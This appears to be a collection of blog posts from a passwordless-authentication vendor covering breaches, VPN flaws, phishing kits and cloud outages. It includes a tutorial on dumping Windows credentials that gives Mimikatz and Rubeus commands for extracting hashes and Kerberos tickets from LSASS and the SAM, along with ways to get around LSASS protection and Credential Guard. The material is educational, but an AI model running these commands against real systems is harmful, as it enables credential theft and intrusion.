You must be familiar with IaC (Infrastructure as a Code). If not, Stackify has a very good primer on this topic. Code Infrastructure (CIx) simply involves all the tools and systems involved in the Software Development Life Cycle (SDLC process) of an organisation.
Recent supply chain attacks makes it evident, that adversaries world over are targeting the CIx (in other words SDLC tools) of the global software manufacturers. This write up will briefly explain various attacks on Code Infrastructure (CIx) components with the references of some recent supply-chain incidents.
What Is Code Infrastructure (CIx)?
Code Infrastructure (CIx) comprises of all the distributed applications / systems & artefacts that are involved with or result of each and every step involved in the Software Development Life Cycle (SDLC process). Here is how Code Infrastructure of a typical software engineering organisation looks like –
Components of Code Infrastructure (CIX)
Engineering Environment (developer machines and local repositories)
Code Management tools (version control systems, git* or Bit Bucket)
Code Auditing tools (code scanners etc)
Build Systems (build platforms like Jenkins, CICD pipelines)
Code Attestation (Key vaults used for code signing)
Package Distribution Systems ( popular tools like Jfrog)
Deployment Platforms (Cloud services, PaSS/SaaS)
Threats to your Code Infrastructure
CIx presents a vast attack surface which is not often properly secured. This is evident In all the recent supply chain attacks that we have witnessed. We have seen all the attacks targeted to one or more CIx components.
Incident
Target & Method
Reference
Target – Build Systems Method – Insertion of untrusted code
It becomes very crucial for enterprises to pay attention to their CIx and secure the attack vercorts applicable for each of these components.
Attacks on Code Infrastructure, SDLC Tools
How to secure CIx?
The majority of attacks we have seen are due to exploitation of the Identity & Trust framework. In all the cases Identity was managed by conventional passwords and MFA/2FA. The trust breach happened due to leaked signing keys (private keys), access to which was not properly secured.
In the case of Solarwinds we can also see that the build systems built and distributed untrusted code. This happened due to the absence of a Trust framework which can automatically verify that the code being built is a work of a verified/trusted engineer and not a malicious actor.
The careful study of all supply chain attacks in recent times clearly shows the industry needs to move to a better Identity & Trust framework. We need better Identity management to control access to our CIx resources and robust Trust Framework to verify sanctity of the deliverables at each and every level in software engineering, both pre & post built.
PureAUTH Identity & Trust Platform
PureAUTH provides a breach resilient Identity & Trust Platform using its innovative Zero User Data Initiative (0UDI).
To learn more, how PureAUTH is used by various organisations to secure access to their CIx resources and Build Trust in all relevant user actions, schedule a demo with us.
Many Avenger fans would have felt frustrated when they were not able to view the latest Hawkeye series 4th episode when Disney+ was down due to an AWS outage.
Hawkeye disrupted due to Disney+ outage delivered by AWS
The outage also affected the competitor of Disney+ thats Netflix. Condesk, Tinder, Roku and many other services depended on AWS backbone were out last tuesday “US-EAST-1 region” as mentioned by Amazon.
Not just the entertainment providers but Google, Venmo, DoorDash, Spotify, multiple banks and airline were also affected. The list goes on and shows how bad such outages could be.
25 Nov 2020 & 8th Dec 2021
Similar outage was seen last year, on 25th of November when 24 different AWS regions were down affecting many web services Roku, Adobe, Shopt, a delivery company backed by Target.
Incident graph for AWS outage on 7th Dec 2021 source – DownDetector
Outages in the past
The outage of public cloud service provider is not just an Amazon thing. We have seen Fastly one of the biggest CDN (content distribution network) going down for hours in June 2021
Though for a short span, Akamai also faced a disruption in July 2021, on its Edge DNS service, and it took down platforms such as Zomato, Paytm, parts of Amazon, Airbnb, PlayStation Network, Steam, Disney+Hotstar.
Source https://build5nines.com/
In a more disrupting event, Microsoft Azure AD service was down for 14 hours in March this year. This event was 6 months after Azure AD went down blocking access to Azure, Teams, and more over a span of September 28 & 29, 2020
Conclusion
Industry adopted cloud for better availability and redundancy. CDN companies became the backbone of the internet world wide assuring instant delivery of content and services. As we are seeing the repeated instances of cloud giants going down, this seems to be becoming a new normal.
At PureID what we have learnt is having High availability of a service through a cloud solution provider is not enough, we must provide redundant High Availability clusters with more than one cloud service provider. This may not be a feasible option for many enterprises as spreading data across multiple providers may have its own compliance and governance implications apart from the increase in cost and management overheads.
This is exactly where PureID emerges visionary and a leader as it can deliver its authentication services hosted across multiple public cloud vendors without any compliance or governance worry.
No data, no theft & No-PII so no worries, #GoPassworldess with PureAUTH.
Atlassian is a globally popular provider of software development and collaboration tools. Jenkins, an open source automation server has more than 200,000 deployments. Both are being actively attacked due to recently disclosed vulnerabilities CVE-2021-26084 & CVE-2021-39124 in Atlassian products, as they are used in conjunction at many organisations. These security issues pose a serious threat of snowballing into another supply chain attack in 2021(2022?).
Attacks on Atlassian
Check Point Research (CPR) discovered many flaws in Atlassian’s Jira which would allow the attacker to take over a user’s account just by a single click. These security flaws would allow an attacker to perform cross site scripting attacks, CSRF attacks or session fixation attacks. The attacker could gain access to user accounts and acquire confidential information. CPR also found out that once a Jira account was taken over, it was possible to take over the Bitbucket account as well. Atlassian’s Bitbucket which is used by millions was also under this threat. The attacker could have had access to an organisation’s Bitbucket repository which would prove to be detrimental.
Attacks on Jenkins
Jenkins recently discovered a successful attack against its Atlassian Confluence service using CVE-2021-26084. Confluence integrates with Jenkins’ integrated identity system which also powers Jira, Artifactory, and numerous other services. They had to take their affected server offline and reset all the passwords.
Passwords at risk, are risk for Businesses
Patching for CVE-2021-26084 & CVE-2021-39124 should fix the problem, but it is assumed that due to mass exploitation many organisation’s passwords are being compromised. Patching the servers will solve half of the problem. The other half of the problem which will have a massive impact on the masses is resetting the credentials.
Post incident panic and downtime, cost & support needed to reset passwords can be avoided by going passwordless. This also helps in a big way to stop such vulnerabilities triggering supply chain attacks.
Making Atlassian & Jenkins Passwordless
PureAuth provides a passwordless way to authenticate which eliminates the risk of attacks when compared to an authentication method that uses passwords. The video below demonstrates passwordless authentication to Atlassian using PureAuth.
Throughout the March & April month, Federal Bureau of Investigation (FBI), and the Cybersecurity and Infrastructure Security Agent (CISA) has reported numerous incidents where old vulnerabilities in popular VPNs were exploited by organized (or state sponsored) hackers, around the world.
Large numbers of malware families & malicious actors across the globe are on the spree of exploiting the old unpatched vulnerabilities in Fortinet as well as Zero-day in Pulse Secure VPN.
The victims of the attacks are include sensitive segments like government agencies, Defense contractors & financial institutions amongst many others
The Impact
Digital Journal quoted Vinay Sridhara, CTO of Balbix Inc., “About 50,000 records belonging to banks, telecoms and government organizations were exposed by this data leak, including session-related information and plain-text usernames and passwords of Fortinet VPN users”.
“What’s most concerning is that even if the vulnerability is patched, the credentials are still at risk for credential stuffing attacks,” he added.
People shifting to remote working has increased the demand for SSL VPNs, also the attack surface + available targets for APT groups and cybercriminals.
Credential Compromise
The passwords form both the VPNs Fortigate and Pulse Secure are being compromised using different CVEs.
Many unpatched vulnerabilities form the recent past have allowed an unauthenticated attackers to compromise a vulnerable VPN server. The attacker able to gain access to all active users and their plain-text credentials.
Attackers could also execute arbitrary commands on each VPN client as it successfully connects to the VPN server.
Configuration vulnerability may allow an unauthenticated attacker on the same subnet to intercept sensitive information by impersonating the LDAP server, as default configuration does not verify the LDAP server Identity.
Information Disclosure(password files & private keys)
arbitrary file read vulnerability could allow remote unauthenticated attackers to compromise vulnerable Pulse Secure VPN servers and gain access to all active users and their plain-text credentials, and execute arbitrary commands
Access to passwords
Vulnerabilities giving access to VPN credentials
2FA/MFA Bypass
Its common recommendation & best practice to have 2FA or MFA along with passwords for VPN. Its generally believed that if for some reasons passwords are compromised the VPNs are still safe due to additional factors.
But during these attacks, we have seen that both the VPNs also suffer MFA/2FA bypass vulnerabilities. This makes the commonly followed best practice and recommendation of having 2FA/MFA pointless.
Improper Authentication vulnerability in SSL VPN 2FA in FortiOS, results in a user to log successfully without being prompted for the 2FA (FortiToken) if they changed the case of their username.
Secrete Backdoor access allows hackers to disable or bypass 2FA/MA verification
Bypassing single & multi-factor authentication on Pulse Secure VPN devices, persisting across upgrades, and maintaining access through webshells
Vulnerabilities allowing to bypass 2FA/MFA
EFFECTIVE SOLUTION: GO PASSWORDLESS
Passwords are by far the weakest link when it comes to security today. Successful attacks involve lost, breached or re-used passwords and we have seen that 2FA/MFA are of no help.
You cannot avoid the patch but you can definitely avoid passwords & the 2FA/MFA solutions and go passwordless with much more ease and convenience.
Today, the smartest & the most secure way to sign In on any VPN or enterprise applications is by going completely passwordless.
With PureAuth passwordless authentication, you can effectively mitigate the risk of having your password stolen by phishing and a number of other methods.
The usernames and passwords dumped (ab)using CVE2018- are being used to get access to the network even after the vulnerability is patched. VPNs being the first line of defense for any enterprise, do not leave it at the mercy of 2FA/MFA which can be easily bypassed. Go passwordless with PureID. Stolen passwords won’t affect you if there are no passwords.
You can check out our integrations for other popular VPNs PaloAlto, OpenVPN.
Online world majorly relies on passwords for access control and content security. Enterprises and individuals alike use passwords to keep sensitive information out of the wrong hands. However, enterprises are an extremely high value target for attackers and that level of attention cannot be handled by the humble passwords.
In this blog I will be discussing 3 different ways passwords are failing the enterprises with 3 latest incidents.
Sequoia Capital Phished, Hacked
Sequoia Capital, one of the biggest venture capital firms has told their investors that some of their personal and financial information might have been stolen, according to Axios. This was a result of their cybersecurity investigation indicating that a third party might have accessed this information.
This incident resulted due to the email credentials of an employee who was phished successfully. Phishing attacks have always been very effective to steal credentials. Even after Sequoia has invested in many cyber-security companies, the inherent problem of passwords remains. When presented with an extremely convincing phishing page, giving away passwords is easy. Such phishing pages can be easily created using a tool like LogoKit.
Govt of India various Department’s Passwords Leaked
Sakura Samurai, a hacking group has found a number of exposed credential pairs, Sensitive files, Personally identifiable information, Sensitive police reports, Session hijacking and Remote code execution in some of the Indian government servers. While this list is alarming in itself, the data that might have been exposed in this breach would have far more impact due to the nature of data exposed.
Along with the above list, the credentials of servers that were stored on these exposed servers have been compromised. This allows attackers to access servers which might not have any other security flaw, simply because of the leaked passwords. This leads to a chain of breaches which cannot be stopped as more and more credentials are stolen, just like SUNBurst supply chain attack.
Yandex Insider shares passwords
On February 12th 2021, Yandex, the largest search company in Russia and one of the largest internet companies in Europe was hit by an insider attack. One of the employees with access rights to provide technical support for their mail service was selling access to the users’ mailboxes. A total of 4,887 mailboxes were compromised. The employee was one of the three administrators with the relevant access.
Image Source : https://tipsmake.com/
The company said that they have blocked access to the affected mailboxes and notified the users to change their passwords. The breach was discovered during a routine security screening.
Go Passwordless
Eliminating passwords instantly improves enterprise security by greatly reducing the attack surface. Phishing & insiders attacks are totally eliminated by eliminating passwords.
The daily headlines about premium organisations getting breached proves that no organisation is hack proof. Only PureAUTH Passwordless platform provides Breach Resilience. Even in case of a breach, PureAUTH ensures the enterprise applications are secure from unauthorised access.
Amongst the many known cyber-attacks, Phishing takes the throne. Users, including the experienced ones, can fall prey to phishing. Phishing has become a very cost effective, low skill & straightforward way for cyber criminals over the years now to harvest credentials from across the globe. The effectiveness of phishing attacks is getting better and better with time with innovations in deceiving users. LogoKit is an advanced kit in this series which you cannot ignore.
What is LogoKit?
Logokit is a framework that generates dynamic login pages, in real time which look nearly identical to legitimate authentication widget of the subject application and has a better chance of deceiving the users to provide their credentials.
This novel tool was discovered by RiskIQ, a threat intelligence firm, which has been following the kit since its evolution. Stats shared by RiskIQ mention that Logokit is already installed on 300+ domains over the past week and 700+ sites over the past month.
How is Logokit used in phishing?
Logokit is used for sending phishing links to the user’s email address.
“Once a victim navigates to the URL, LogoKit fetches the company logo from a third-party service, such as Clearbit or Google’s favicon database,” RiskIQ security researcher Adam Castleman said in a report on Wednesday.
Source: RiskIQ
After the user enters his password, Logokit makes a dynamic AJAX request and sends these credentials to an external source after which the user is redirected to a legitimate website.
“The victim email is also auto-filled into the email or username field, tricking victims into feeling like they have previously logged into the site,” he added.
How is Logokit different from standard phishing?
Standard phishing tool involves generating a foolproof login page for each and every target organisation or application for which the victim’s credentials need to be harvested. The approach being time consuming, costly and needs changes when there is a change in the webpages or design of the target.
Credits: katemangostar
Logokit has innovatively solved this. A set of JavaScript embeddable functions are used by Logokit to impersonate the company’s webpage in real time, making it difficult for the user to differentiate.
RiskIQ also stated that over the past month, Logokit was used to imitate services like Office 365, Adobe Document Cloud, and many cryptocurrency’s websites.
Also, being small in size, Logokit is hosted on several different most trusted platforms like Firebase, Oracle cloud, Github which in turn are extensively used in corporate environments.
How does PureID Help?
We, at PureID, are helping enterprises become passwordless and protect its users from cyberattacks involving credentials. Our passwordless approach makes phishing attacks targeting the user credentials irrelevant.
When you set up things that are connected to the internet, they generally require protection from unauthorized access. This protection is often provided by passwords. In most of these cases, a default password with a username is given for first time configuration. As a general security practice, you are supposed to change this password. Nissan (North America) forgot this basic security practice for their Bitbucket Git server.
Proprietary source code stolen
The repository contained proprietary source code for Nissan mobile apps, diagnostics tool, dealer portal, Nissan internal core mobile library, client acquisition and retention tools, sales/marketing research tools and data, vehicle logistics portal and various other internal tools.
The Swiss based software engineer, Tillie Kottmann learned of the leak from an anonymous source and said that the leak originated from a Git server exposed to the internet with the credentials admin/admin, as username and password, in an interview with ZDNet. Close to 20GB of the data is now available to download using a torrent link. Nissan has said that the leaked data/code does not expose their customers or their vehicles.
Passwordless Authentication
During the configuration of servers it is easy to just use the configuration used for testing in deployment and forget to change the password. It is also not easy to set and remember a strong admin password without using a password manager, which is not practical when multiple users are using the application. It is also susceptible to phishing attacks.
Going passwordless rather than changing default passwords helps reduce attack surface and unauthorised access in a far better way.
Our PureAuth platform integrates with GitHub as well as other SAML enabled applications and makes an enterprise more secure and resilient.
In 2018, a vulnerability (CVE-2018-13379) allowed attackers to read FortiOS files without authentication by sending a carefully crafted HTTP request. This vulnerability only existed in the SSL VPN. It affected FortiOS version 5.6.3 to FortiOS version 6.0.4.
According to CloudSEK this vulnerability has come back to haunt networks that use FortiOS and missed the memo in 2018, leaving them open to attacks. More than 49000 vulnerable targets for this particular CVE, were listed for sale on a hacking forum. These are the easy targets for attackers to make a huge profit by acquiring and selling sensitive data, or just hold the network ransom.
FortiOS SSL VPN vulnerability
The path traversal vulnerability allowed unauthorized access to passwd and shadow files stored inside the FortiOS, along with any private keys stored. These files may also contain the login information of the users on the FortiOS and can be read by using this vulnerability.
At the very least, attackers can cause serious downtime once they are in the network, they might deploy ransomware or exfiltrate sensitive data. The failure of even one endpoint may lead to the whole domain being taken over.
Bank_Security found that, in a later post, the hacker dumped login details from these vulnerable machines containing usernames, passwords with “full-access” privilege level and IP addresses of users of the VPN.
Among the victims, there are some banks, government domains and many companies around the world.
Secure Authentication with PureID
The usernames and passwords dumped (ab)using CVE2018- are being used to get access to the network even after the vulnerability is patched. VPNs being the first line of defense for any enterprise, do not leave it at the mercy of 2FA/MFA which can be easily bypassed. Go passwordless with PureID. Stolen passwords won’t affect you if there are no passwords.
You can check out our integrations for other popular VPNs PaloAlto, OpenVPN.
We all know how crucial our credentials are to us, these shared secrets are basically the access to our resources present on various platforms. The whole process of authentication and authorization is pretty much always dependent on these shared secrets which can be in the format of passwords, access tokens, keys, tickets etc. Today many threat actors target to get these shared secrets by leveraging the authentication and authorization process in order to get access to the victim’s resources.
Motive:
In this blog we are going to see what exactly happens under the hood during the process of authentication and authorization in the case of windows platform and how one can dump and abuse the credentials on the attack surface used in the process of authentication and authorization.
Authentication & Authorization:
Authentication is the process of verifying the entity on the basis of the information provided by the entity which is identity (identification number, or username) and shared secret. While doing authentication there are various steps that we perform and can be divided into three major steps:
Providing identity and shared secret.
Processing the identity and shared secret.
Storing the credentials for authorization.
Now from start to end in the above-defined steps of authentication, threats exist on every step, so firstly we will try to briefly discuss what threats do exist at every step with respect to the windows platform.
Now let’s focus on how one authenticates in windows and learn what happens under the hood for better understanding and this will indeed provide a broader view for us about the authentication in order to abuse the credentials used in the process.
Understanding the Windows authentication process:
Starting from the scratch the user is presented with the authentication basically known as Windows Logon UI and provides all the options for authentication (like password, PIN etc.) to the user.
User needs to supply the credentials to this Logon UI based on the choice of credentials he configured on the system (now including windows HELLO) or by which the user wants to authenticate.
Once the user provides the credentials, LSA (known as local security authority) loads the authentication packages like MSV, Kerberos and Negotiate etc. The image below illustrates what packages are available to use in Windows.
Let’s say for the first scenario if the preferred authentication package is MSV1_0, in this case, we need to understand how this authentication package deals with the credentials provided by the user:
MSV1_0 authentication package can be divided into 2 parts:
The first part, where the Windows NT client machine on which the user wants to authenticate computes the hash of password using Windows OWF (One-Way Function). Once the password is converted into a hash, this hash is stored in the security accounts manager (also referred to as SAM) database locally or in an active directory database in case of a domain environment.
The second part works according to the two scenarios: one where the user authenticates on the system which doesn’t exist in the domain environment (local logon scenario) and the other one in which the user authenticates to a windows domain machine or server which is part of the active directory environment (network logon scenario).
Let see what goes behind the scene when the user authenticates on the client machine and the client machine is not part of a domain environment.
The first part of the MSV1_0 passes the hash to the second part and the user’s hash is used to verify with the one present which is present in the SAM database.
If the hash computed by the machine is identical to the one which is present in the SAM database on the machine then the user is granted access to the machine otherwise the user is present with the message of the unsuccessful authentication due to wrong credentials.
Now that we have looked into the local authentication of the user let’s look into the authentication scenario when the machine is part of a domain environment.
Similar to the local authentication the hash is computed by the machine and passed to the second part of the MSV1_0 but NetLogon service does the part of routing the user’s hash to the second part of the MSV1_0 authentication package. A little about NetLogon service, it is used for creating a secure channel for authentication purposes in a domain environment.
Now the authentication is carried out according to the NT LanManager (NTLM protocol). The figure below describes the NTLM authentication.
But NTLM is not the only authentication protocol that is used as an authentication protocol and as a matter of fact, it is a lesser-used protocol in the case of an active directory environment, in this case, Kerberos is used.
Let’s see what happens behind the scene when the Kerberos authentication package is the preferred one by the LSA. Kerberos is defined as the primitive protocol for authentication in a domain environment which uses three subprotocol as listed below:
Authentication Service Exchange
Ticket-Granting Service Exchange
Client/Server Exchange
Kerberos uses tickets as the user’s network credentials for authentication and provides access to the resource accordingly. The figure below describes the Kerberos authentication flow:
And the last one which is Windows Negotiate, that is also a Security Support Provider which acts like application layer between SSPI (Security Support Provider Interface) and other SSPs also selects the strongest protocol, by default the Negotiate authentication package has two options NTLM & Kerberos.
Now that we have seen what goes behind the authentication very briefly, we can jump exactly to the part of stealing the credentials present on the attack surface.
Stealing the credentials on the attack surface:
One thing to notice about every authentication protocol discussed in the above context is that credentials are stored either on the disk in the form of Database in the above case SAM Database (Registry HIVE) or cached in the memory of process like LSASS (Local Security Authority Subsystem Service) in order to provide access to the network resources seamlessly.
LSASS can store multiple types of credentials that are compatible to the SSP or Authentication Package like:
LM & NTLM Hash
Kerberos Tickets
Keys
Plaintext Credentials
As this blog deals with the credential stealing and abusing it let’s assume a scenario where the attacker has the initial access on the domain joined machine with the privileges of local admin on the box.
Now before starting the demonstration part I would like to also specify that we are going to heavily use Mimikatz, a tool written by Benjamin Delpy in C which deals with windows security.
To start with, lets dump the credentials present in the memory of LSASS.exe. Now there can be multiple ways to dump credentials from LSASS, the first one is very straightforward, which is to use Mimikatz to dump the credentials directly from memory.
But in order to dump the credentials from the memory of a process (lsass.exe) we need to have the privileges to debug the process. This privilege which allows us to debug any process or program is SeDebugPrivilege and is are generally required by the debuggers like OllyDbg etc. Mimikatz does provides the functionality of enabling a set of privileges by using the RtlAdjustPrivilege, a function which is a used by NTDLL.dll in windows in order to enable a privilege from the calling process or thread.
By using the privilege module of mimikatz we can enable SeDebugPrivilege for the current process.
mimikatz # privilege::debug
If you want to look more into how to enable SeDebugPrivilege or any other privileges, @jaredatkinson has return PSReflect-Functions to deal with Win32 API functions and the same can be done using the project.
We can now easily dump the credentials from the lsass.exe process as we have enabled the SeDebugPrivilege. Mimikatz provides a module “sekurlsa” which retrieves the user’s credentials from the memory of the LSASS process.
mimikatz # sekurlsa::logonpasswords
Well important thing to notice is that sekurlsa module finds all the credentials which can be found in the memory of LSASS process, but we can also see this authentication packages wise that is calling the command by the authentication packages like:
Dumping the credentials of the msv authentication package only:
mimikatz # sekurlsa::msv
But this is not the only way to steal credentials using the LSASS process, this can also be done by dumping by the LSASS process using Sysinternals tools like procdump.
This command utilizes a system binary rdrleakdiag.exe which will dump the memory of the process whose PID (process id) is provided in input. Successful execution of the command will result in creation of two files named as minidump_656.dmp and results_656.hlk. [We will use the file with .dmp extension]
In order to use the dump files to retrieve the credentials of the users we need to use the minidump command under the sekurlsa module to make mimikatz aware of the fact that we will be using dump file.
All the user’s hash who have logon sessions on the machines can be dumped using the above techniques. But dumping the credentials from the LSASS.exe is not the only option that we have. So, let’s discuss about the other option that we have, dumping credentials from SAM registry/HIVE.
In order to dump the credentials from SAM we can use the sam command under the lsadump module which can provide us with all the local user account hashes, but before that we need to elevate our privileges to NT AUTORITY\SYSTEM to read the credentials [by using SYSKEY to decrypt the SAM hive data].
mimikatz # token::elevate
mimikatz # lsadump::sam
Running the above command, we can easily see the hash of the users that are present in the local SAM (Security Account Manager) hive.
This can also be done by dumping the System registry hive and SAM registry hive and then using these two files we can retrieve the passwords stored in the local SAM. If we look into the code of mimikatz we can see how sysKey and samKey are retrieved from the Registry HIVE.
This method can also be referred as Offline method as the threat actor only needs to transfer the SAM and SYSTEM registry hive files to their system in order to dump the hash of the users on the victim machine.
For this particular operation that involves dumping of credentials, we can also use secretsdump.py script under the project impacket.
Apart from the following type of hash there exist a different kind of hash i.e. MsCacheV2 also known as Domain Cached Credentials which was introduced in windows to keep the user connected to the domain even if the client machine is disconnected from the domain, user can perform the authentication. We can see under the registry location (HKLM\SECURITY\Cache) after Running the registry editor (regedit.msc) with NT AUTHORITY\SYSTEM privilege the cached credentials keys.
By using command lsadump::cache we can easily dump these hashes.
mimikatz # lsadump::cache
However, these hashes cannot be passed but can be cracked using tools such as hashcat or John-the-Ripper.
These hashes are one of the types of credentials that are stored, we will be switching to the other type of credential which is tickets. As discussed above, tickets are the network credentials which are used in Kerberos authentication mechanism. LSASS which is a subsystem service running under the context of LSA (Local Security Authority) stores these tickets and just like we dumped the hashes present in this process, we can do the same for dumping the tickets.
Again, we will use the sekurlsa module to dump the tickets from the LSASS process memory. These tickets can used in many ways to abuse the Kerberos authentication mechanism. In order to just see what tickets are available on the domain joined machine we can fire the klist command.
mimikatz # sekurlsa::tickets /export
This command will export the tickets present in the lsass process memory. We can also use the command kerberos::list in order to export all the tickets under the context of a user, and doesn’t require any high privileges as it doesn’t deal with lsass.
For the further demonstration, we will be using Rubeus, a tool made in C# for interacting with Kerberos authentication mechanism and abusing it by @specterops. Best part about Rubeus tool is that it doesn’t touch LSASS process memory and therefore doesn’t require local admin privileges on the machine.
Running Rubeus with triage option can list all the tickets present in the current session.
Rubeus.exe triage
We can see a detailed output using the klist option in Rubeus.
Rubeus.exe klist
If we run Rubeus under elevated privileges, we will be able to view and dump the tickets of the other users on the machine as well.
We can dump the tickets now using the dump command in Rubeus. Rubeus dump will get the base64 of all the tickets which can be further used in order to abuse the kerberos authentication resulting in lateral movement.
Rubeus.exe dump
Side note: add /nowrap to the above command we can get a single line base64 of the ticket.
In the above context, we have seen how we can dump credentials from the various sources present on the window machine. One of the prominent sources of dumping credentials was the lsass.exe process which stores almost every type of credentials for SSO (Single Sign-on) purpose (also for access tokens etc). Now focussing more on the LSASS process there were several features made available to securing the LSASS process from the threat actors.
One of the features that was arrived with windows 8.1 and is applicable for every above windows version is Running a process with protection mode named as RunAsPPL which stands for Run as Protected Process Light. By adding and enabling a registry key under “HKLM\SYSTEM\CurrentControlSet\Control\LSA”.
But with mimikatz capability of loading a kernel driver named as mimidrv we can easily remove and add protection to a process. In mimikatz we can load the driver using “!+” and “!-“ to unload the driver. I am will not do a deep dive review of the mimikatz’s driver but I would suggest going through this awesome blog written by Matt Hand on mimidrv.
Below image shows that we enabled the debug privilege but we are not able to dump the credentials from the LSASS process. Even doing memory dump of the lsass process with the procdump will not be successful.
But loading the mimikatz driver mimidrv will provide us with the capability of removing and enabling the protection of any process.
As we can see in the image above, we are able to dump all the credentials from the lsass process by removing the protection on the lsass process.
But there seems to be the other option available that is much more approachable to stop the threat actors to dump credentials from the LSASS process which is by running lsass in VSM (Virtual Secure Mode) which is done by enabling windows Credential Guard. This solves the problem of dumping the credentials as the credentials are stored under the LSAISO (Local Security Authority Isolated) process.
But there is a workaround for this solution as well and that is to inject mimikatz’s ssp (mimilib.dll) in order to steal the credentials.
Just doing that will inject the SSP in LSASS.exe process and the credentials are listed in log file of mimikatz (mimilsa.log) in the form of clear text.
In the above discussed techniques, we have seen how the credentials can be dumped from various sources like registry hive, LSASS process memory. Now these dumped credentials can be utilized to perform various attacks like Pass-the-Hash, Over-Pass-The-Hash, pass-the-ticket etc.
We will see demonstration about the abuse of these dumped credentials in the next part of the blog.
Conclusion
Threat actors have always utilized the credentials dumping techniques to move laterally in the domain environment. Sources of dumping these credentials should be heavily monitored like LSASS process etc.
Passwords are at the foundation of security and access control ever since humans felt the need of securing resources and access to it. Passwords have been used and abused since millennium and the best documented example of this is “Open Sesame”.
The surprising fact is even after millennium passwords are ubiquitous, and mean anything but security. The World Password Day is coming up on 7th of May 2020, let us see what we have learned in the last decade about passwords.
Passwords are Pain
Passwords are pain for an enterprise, right from its users to administrators.
Pain to Manage
A 2016 survey conducted by Intel Security concluded that an average person uses 27 discrete online services. For security reasons it is a must to have different passwords for enterprise applications, social networking sites and online banking but at the same time, very painful to remember all of them. People often reuse their enterprise passwords at external sites and vice versa.
Pain to Comply & Govern
Compliance & Governance mandate passwords to be complex and securely stored. Time and again we have seen from the incidents at Robinhood, GitHub, Facebook, Instagram and Citrix that even world class enterprises fail to comply. Another big governance failure is to restrict unwarranted sharing of credentials and OTP within an organisation.
Enterprise measures for compliance & governance are defeated due to users’ and administrator’s common but insecure practices.
Passwords in plain text
Pain to Secure
Enterprises spend a significant sum to secure passwords by layering them with additional factors. This increases more things to manage and support but still leaves passwords insecure.
Enterprises are insecure as long as they have passwords in their system
Credential sharing
Passwords are Risk
2018 Verizon Data Breach Investigation Report stated that 81% of the breaches that year involved Passwords. Phishing, credential stuffing and stealing passwords from processes or dumps being the top vectors.
The universal availability of mobile devices and newer ways of authentication it offers, has inspired the world to think Beyond Passwords.
Gartner suggests “Eliminate centrally managed passwords for better security, fewer breaches, lower support costs and enhanced user experience.” in its report Passwordless Approach to improve security
![Dumping & Abusing Windows Credentials [Part-1]](https://www.pureid.io/wp-content/uploads/2020/09/Dumping-Abusing-Windows-Credentials.png)
